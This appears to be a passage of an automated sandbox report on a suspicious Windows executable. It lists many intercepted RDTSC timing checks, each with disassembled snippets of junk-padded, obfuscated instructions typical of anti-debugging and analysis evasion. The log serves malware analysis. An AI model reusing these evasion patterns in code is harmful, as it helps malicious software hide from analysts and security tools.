Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9E32D9 second address: 9E32E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A4AF38 second address: A4AF3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A4A86E second address: A4A879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A4A879 second address: A4A883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F588136DCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A4A9DE second address: A4A9EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F588123DB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A4A9EE second address: A4A9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A50A58 second address: A50A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A56D92 second address: A56D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A55B6F second address: A55B8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB92h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F588123DB86h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A55B8D second address: A55B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A56659 second address: A5666E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F588123DB8Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A5666E second address: A56681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F588136DCC2h 0x0000000b jg 00007F588136DCB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A56BF1 second address: A56BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A56BF9 second address: A56BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A56BFE second address: A56C0C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F588123DB86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A56C0C second address: A56C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A5C3DB second address: A5C3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A5C3DF second address: A5C3EF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F588136DCB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A5C53E second address: A5C545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A5CAA7 second address: A5CAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F588136DCB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A62A5D second address: A62A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F588123DB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61C8F second address: A61CD0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F588136DCB6h 0x00000008 jmp 00007F588136DCC2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F588136DCC0h 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F588136DCC0h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61CD0 second address: A61CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61CD4 second address: A61CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F588136DCC7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61CF3 second address: A61CFD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F588123DB92h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61CFD second address: A61D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F588136DCB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F588136DCB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61FD8 second address: A61FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6247A second address: A624A9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F588136DCB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F588136DCD1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A624A9 second address: A624B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Ah 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61120 second address: A61125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A61125 second address: A6114F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F588123DB98h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F588123DB86h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6114F second address: A61166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBEh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6514E second address: A65154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A65154 second address: A6517C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jl 00007F588136DCB6h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F588136DCC2h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A683ED second address: A68414 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F588123DB86h 0x00000008 jmp 00007F588123DB93h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F588123DB86h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A68414 second address: A68418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A68418 second address: A68424 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F588123DB86h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A68424 second address: A68435 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBCh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A28D7C second address: A28DDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F588123DB94h 0x0000000f nop 0x00000010 jno 00007F588123DB8Ch 0x00000016 lea eax, dword ptr [ebp+12483B2Bh] 0x0000001c mov dword ptr [ebp+122D1E79h], ebx 0x00000022 nop 0x00000023 je 00007F588123DB96h 0x00000029 push ecx 0x0000002a jmp 00007F588123DB8Eh 0x0000002f pop ecx 0x00000030 push eax 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A28DDD second address: A0E59B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F588136DCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F588136DCB8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 call dword ptr [ebp+122D27E7h] 0x0000002c jmp 00007F588136DCC4h 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A28F6A second address: A28F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A28F6E second address: A28F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A28F74 second address: A28FA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b ja 00007F588123DB8Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A28FA1 second address: A28FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29785 second address: A29789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29789 second address: A2980D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F588136DCB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000004h 0x00000029 mov dword ptr [ebp+122D1CD9h], edi 0x0000002f nop 0x00000030 jns 00007F588136DCCCh 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jc 00007F588136DCB6h 0x00000040 jmp 00007F588136DCC2h 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29B1A second address: A29B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29B1E second address: A29B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29B24 second address: A29B29 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29B29 second address: A29B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F588136DCB8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jmp 00007F588136DCC3h 0x00000029 mov dl, bl 0x0000002b push 0000001Eh 0x0000002d push eax 0x0000002e pushad 0x0000002f jmp 00007F588136DCBDh 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29F6F second address: A29F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29F75 second address: A29FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jl 00007F588136DCBEh 0x0000000f push edx 0x00000010 jc 00007F588136DCB6h 0x00000016 pop edi 0x00000017 lea eax, dword ptr [ebp+12483B6Fh] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F588136DCB8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov edi, dword ptr [ebp+122D383Ah] 0x0000003d push eax 0x0000003e pushad 0x0000003f pushad 0x00000040 js 00007F588136DCB6h 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29FC1 second address: A29FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F588123DB86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A29FCE second address: A2A01E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F588136DCB8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 call 00007F588136DCC0h 0x00000029 mov edx, eax 0x0000002b pop ecx 0x0000002c lea eax, dword ptr [ebp+12483B2Bh] 0x00000032 mov dword ptr [ebp+122D378Dh], ebx 0x00000038 push eax 0x00000039 push edi 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6BDFF second address: A6BE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 je 00007F588123DB86h 0x0000000b jmp 00007F588123DB92h 0x00000010 jmp 00007F588123DB8Dh 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6BE2D second address: A6BE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F588136DCB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6BF8C second address: A6BF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6C0F4 second address: A6C110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007F588136DCC5h 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6C415 second address: A6C427 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F588123DB88h 0x00000008 je 00007F588123DB8Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6C427 second address: A6C443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F588136DCC2h 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A6C443 second address: A6C449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A70CCD second address: A70CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F588136DCBCh 0x0000000b jnc 00007F588136DCB6h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A70CE1 second address: A70CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A74648 second address: A74650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A7430C second address: A74312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A74312 second address: A74318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A772B5 second address: A772BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A7A847 second address: A7A854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F588136DCC2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A7A854 second address: A7A868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F588123DB86h 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F588123DB86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A7A868 second address: A7A86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A7AB25 second address: A7AB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F588123DB8Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A7AED3 second address: A7AEDD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A81870 second address: A81887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588123DB91h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A81887 second address: A81894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F588136DCBEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A81894 second address: A8189A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8189A second address: A818A4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F588136DCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A80094 second address: A8009A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8009A second address: A8009E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8009E second address: A800A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A800A2 second address: A800A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A800A8 second address: A800B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F588123DB86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A800B4 second address: A800B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8023B second address: A8023F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A807EA second address: A807F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A80AAA second address: A80AB4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F588123DB86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A85105 second address: A8510F instructions: 0x00000000 rdtsc 0x00000002 js 00007F588136DCB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8510F second address: A8511D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F588123DB8Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8525A second address: A8525E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8525E second address: A8526A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F588123DB86h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A8C31E second address: A8C32E instructions: 0x00000000 rdtsc 0x00000002 js 00007F588136DCB6h 0x00000008 jnl 00007F588136DCB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
